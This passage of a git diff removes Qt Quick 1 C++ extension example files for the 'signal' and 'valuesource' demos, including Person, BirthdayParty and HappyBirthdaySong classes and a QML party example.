CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -ShoeDescription::ShoeDescription(QObject *parent) -: QObject(parent), m_size(0), m_price(0) -{ -} - -int ShoeDescription::size() const -{ - return m_size; -} - -void ShoeDescription::setSize(int s) -{ - m_size = s; -} - -QColor ShoeDescription::color() const -{ - return m_color; -} - -void ShoeDescription::setColor(const QColor &c) -{ - m_color = c; -} - -QString ShoeDescription::brand() const -{ - return m_brand; -} - -void ShoeDescription::setBrand(const QString &b) -{ - m_brand = b; -} - -qreal ShoeDescription::price() const -{ - return m_price; -} - -void ShoeDescription::setPrice(qreal p) -{ - m_price = p; -} - -Person::Person(QObject *parent) -: QObject(parent) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -ShoeDescription *Person::shoe() -{ - return &m_shoe; -} - - -Boy::Boy(QObject * parent) -: Person(parent) -{ -} - - -Girl::Girl(QObject * parent) -: Person(parent) -{ -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/person.h deleted file mode 100644 index 032eca3c17..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/person.h +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PERSON_H -#define PERSON_H - -#include -#include - -class ShoeDescription : public QObject -{ - Q_OBJECT - Q_PROPERTY(int size READ size WRITE setSize) - Q_PROPERTY(QColor color READ color WRITE setColor) - Q_PROPERTY(QString brand READ brand WRITE setBrand) - Q_PROPERTY(qreal price READ price WRITE setPrice) -public: - ShoeDescription(QObject *parent = 0); - - int size() const; - void setSize(int); - - QColor color() const; - void setColor(const QColor &); - - QString brand() const; - void setBrand(const QString &); - - qreal price() const; - void setPrice(qreal); -private: - int m_size; - QColor m_color; - QString m_brand; - qreal m_price; -}; - -class Person : public QObject -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(ShoeDescription *shoe READ shoe) -public: - Person(QObject *parent = 0); - - QString name() const; - void setName(const QString &); - - ShoeDescription *shoe(); -private: - QString m_name; - ShoeDescription m_shoe; -}; - -class Boy : public Person -{ - Q_OBJECT -public: - Boy(QObject * parent = 0); -}; - -class Girl : public Person -{ - Q_OBJECT -public: - Girl(QObject * parent = 0); -}; - -#endif // PERSON_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/signal.pro b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/signal.pro deleted file mode 100644 index 7feed89a73..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/signal.pro +++ /dev/null @@ -1,17 +0,0 @@ -TEMPLATE = app -TARGET = signal -DEPENDPATH += . -INCLUDEPATH += . -QT += declarative - -# Input -SOURCES += main.cpp \ - person.cpp \ - birthdayparty.cpp -HEADERS += person.h \ - birthdayparty.h -RESOURCES += signal.qrc -target.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/signal -sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS signal.pro -sources.path = $$[QT_INSTALL_EXAMPLES]/declarative/extending/signal -INSTALLS += target sources diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/signal.qrc b/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/signal.qrc deleted file mode 100644 index e2fa01d5e7..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/signal/signal.qrc +++ /dev/null @@ -1,5 +0,0 @@ - - - example.qml - - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/birthdayparty.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/birthdayparty.cpp deleted file mode 100644 index b2408565c0..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/birthdayparty.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "birthdayparty.h" - -BirthdayPartyAttached::BirthdayPartyAttached(QObject *object) -: QObject(object) -{ -} - -QDate BirthdayPartyAttached::rsvp() const -{ - return m_rsvp; -} - -void BirthdayPartyAttached::setRsvp(const QDate &d) -{ - m_rsvp = d; -} - - -BirthdayParty::BirthdayParty(QObject *parent) -: QObject(parent), m_host(0) -{ -} - -Person *BirthdayParty::host() const -{ - return m_host; -} - -void BirthdayParty::setHost(Person *c) -{ - m_host = c; -} - -QDeclarativeListProperty BirthdayParty::guests() -{ - return QDeclarativeListProperty(this, m_guests); -} - -int BirthdayParty::guestCount() const -{ - return m_guests.count(); -} - -Person *BirthdayParty::guest(int index) const -{ - return m_guests.at(index); -} - -void BirthdayParty::startParty() -{ - QTime time = QTime::currentTime(); - emit partyStarted(time); -} - -QString BirthdayParty::announcement() const -{ - return QString(); -} - -void BirthdayParty::setAnnouncement(const QString &speak) -{ - qWarning() << qPrintable(speak); -} - -BirthdayPartyAttached *BirthdayParty::qmlAttachedProperties(QObject *object) -{ - return new BirthdayPartyAttached(object); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/birthdayparty.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/birthdayparty.h deleted file mode 100644 index 5d561da807..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/birthdayparty.h +++ /dev/null @@ -1,97 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef BIRTHDAYPARTY_H -#define BIRTHDAYPARTY_H - -#include -#include -#include -#include -#include "person.h" - -class BirthdayPartyAttached : public QObject -{ - Q_OBJECT - Q_PROPERTY(QDate rsvp READ rsvp WRITE setRsvp) -public: - BirthdayPartyAttached(QObject *object); - - QDate rsvp() const; - void setRsvp(const QDate &); - -private: - QDate m_rsvp; -}; - -class BirthdayParty : public QObject -{ - Q_OBJECT - Q_PROPERTY(Person *host READ host WRITE setHost) - Q_PROPERTY(QDeclarativeListProperty guests READ guests) -// ![0] - Q_PROPERTY(QString announcement READ announcement WRITE setAnnouncement) -// ![0] - Q_CLASSINFO("DefaultProperty", "guests") -public: - BirthdayParty(QObject *parent = 0); - - Person *host() const; - void setHost(Person *); - - QDeclarativeListProperty guests(); - int guestCount() const; - Person *guest(int) const; - - QString announcement() const; - void setAnnouncement(const QString &); - - static BirthdayPartyAttached *qmlAttachedProperties(QObject *); - - void startParty(); -signals: - void partyStarted(const QTime &time); - -private: - Person *m_host; - QList m_guests; -}; -QML_DECLARE_TYPEINFO(BirthdayParty, QML_HAS_ATTACHED_PROPERTIES) - -#endif // BIRTHDAYPARTY_H diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/example.qml b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/example.qml deleted file mode 100644 index e050b62409..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/example.qml +++ /dev/null @@ -1,76 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import People 1.0 - -// ![0] -BirthdayParty { - HappyBirthdaySong on announcement { name: "Bob Jones" } -// ![0] - - onPartyStarted: console.log("This party started rockin' at " + time); - - - host: Boy { - name: "Bob Jones" - shoe { size: 12; color: "white"; brand: "Nike"; price: 90.0 } - } - - Boy { - name: "Leo Hodges" - BirthdayParty.rsvp: "2009-07-06" - shoe { size: 10; color: "black"; brand: "Reebok"; price: 59.95 } - } - Boy { - name: "Jack Smith" - shoe { size: 8; color: "blue"; brand: "Puma"; price: 19.95 } - } - Girl { - name: "Anne Brown" - BirthdayParty.rsvp: "2009-07-01" - shoe.size: 7 - shoe.color: "red" - shoe.brand: "Marc Jacobs" - shoe.price: 699.99 - } - -// ![1] -} -// ![1] diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/happybirthdaysong.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/happybirthdaysong.cpp deleted file mode 100644 index 3e52cb2721..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/happybirthdaysong.cpp +++ /dev/null @@ -1,80 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "happybirthdaysong.h" -#include - -HappyBirthdaySong::HappyBirthdaySong(QObject *parent) -: QObject(parent), m_line(-1) -{ - setName(QString()); - QTimer *timer = new QTimer(this); - QObject::connect(timer, SIGNAL(timeout()), this, SLOT(advance())); - timer->start(1000); -} - -void HappyBirthdaySong::setTarget(const QDeclarativeProperty &p) -{ - m_target = p; -} - -QString HappyBirthdaySong::name() const -{ - return m_name; -} - -void HappyBirthdaySong::setName(const QString &name) -{ - m_name = name; - - m_lyrics.clear(); - m_lyrics << "Happy birthday to you,"; - m_lyrics << "Happy birthday to you,"; - m_lyrics << "Happy birthday dear " + m_name + ","; - m_lyrics << "Happy birthday to you!"; - m_lyrics << ""; -} - -void HappyBirthdaySong::advance() -{ - m_line = (m_line + 1) % m_lyrics.count(); - - m_target.write(m_lyrics.at(m_line)); -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/happybirthdaysong.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/happybirthdaysong.h deleted file mode 100644 index 9721350435..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/happybirthdaysong.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef HAPPYBIRTHDAYSONG_H -#define HAPPYBIRTHDAYSONG_H - -#include -#include -#include - -#include - -// ![0] -class HappyBirthdaySong : public QObject, public QDeclarativePropertyValueSource -{ - Q_OBJECT - Q_INTERFACES(QDeclarativePropertyValueSource) -// ![0] - Q_PROPERTY(QString name READ name WRITE setName) -// ![1] -public: - HappyBirthdaySong(QObject *parent = 0); - - virtual void setTarget(const QDeclarativeProperty &); -// ![1] - - QString name() const; - void setName(const QString &); - -private slots: - void advance(); - -private: - int m_line; - QStringList m_lyrics; - QDeclarativeProperty m_target; - QString m_name; -// ![2] -}; -// ![2] - -#endif // HAPPYBIRTHDAYSONG_H - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/main.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/main.cpp deleted file mode 100644 index d4440b0353..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/main.cpp +++ /dev/null @@ -1,93 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include "birthdayparty.h" -#include "happybirthdaysong.h" -#include "person.h" - -int main(int argc, char ** argv) -{ - QCoreApplication app(argc, argv); - - qmlRegisterType(); - qmlRegisterType("People", 1,0, "BirthdayParty"); - qmlRegisterType("People", 1,0, "HappyBirthdaySong"); - qmlRegisterType(); - qmlRegisterType(); - qmlRegisterType("People", 1,0, "Boy"); - qmlRegisterType("People", 1,0, "Girl"); - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, QUrl("qrc:example.qml")); - BirthdayParty *party = qobject_cast(component.create()); - - if (party && party->host()) { - qWarning() << party->host()->name() << "is having a birthday!"; - - if (qobject_cast(party->host())) - qWarning() << "He is inviting:"; - else - qWarning() << "She is inviting:"; - - for (int ii = 0; ii < party->guestCount(); ++ii) { - Person *guest = party->guest(ii); - - QDate rsvpDate; - QObject *attached = - qmlAttachedPropertiesObject(guest, false); - if (attached) - rsvpDate = attached->property("rsvp").toDate(); - - if (rsvpDate.isNull()) - qWarning() << " " << guest->name() << "RSVP date: Hasn't RSVP'd"; - else - qWarning() << " " << guest->name() << "RSVP date:" << qPrintable(rsvpDate.toString()); - } - - party->startParty(); - } else { - qWarning() << component.errors(); - } - - return app.exec(); -} diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/person.cpp b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/person.cpp deleted file mode 100644 index 7afcdc6ca6..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/person.cpp +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "person.h" - -ShoeDescription::ShoeDescription(QObject *parent) -: QObject(parent), m_size(0), m_price(0) -{ -} - -int ShoeDescription::size() const -{ - return m_size; -} - -void ShoeDescription::setSize(int s) -{ - m_size = s; -} - -QColor ShoeDescription::color() const -{ - return m_color; -} - -void ShoeDescription::setColor(const QColor &c) -{ - m_color = c; -} - -QString ShoeDescription::brand() const -{ - return m_brand; -} - -void ShoeDescription::setBrand(const QString &b) -{ - m_brand = b; -} - -qreal ShoeDescription::price() const -{ - return m_price; -} - -void ShoeDescription::setPrice(qreal p) -{ - m_price = p; -} - -Person::Person(QObject *parent) -: QObject(parent) -{ -} - -QString Person::name() const -{ - return m_name; -} - -void Person::setName(const QString &n) -{ - m_name = n; -} - -ShoeDescription *Person::shoe() -{ - return &m_shoe; -} - - -Boy::Boy(QObject * parent) -: Person(parent) -{ -} - - -Girl::Girl(QObject * parent) -: Person(parent) -{ -} - diff --git a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/person.h b/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/person.h deleted file mode 100644 index 032eca3c17..0000000000 --- a/examples/declarative/qtquick1/cppextensions/referenceexamples/valuesource/person.h +++ /dev/null @@ -1,105 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, 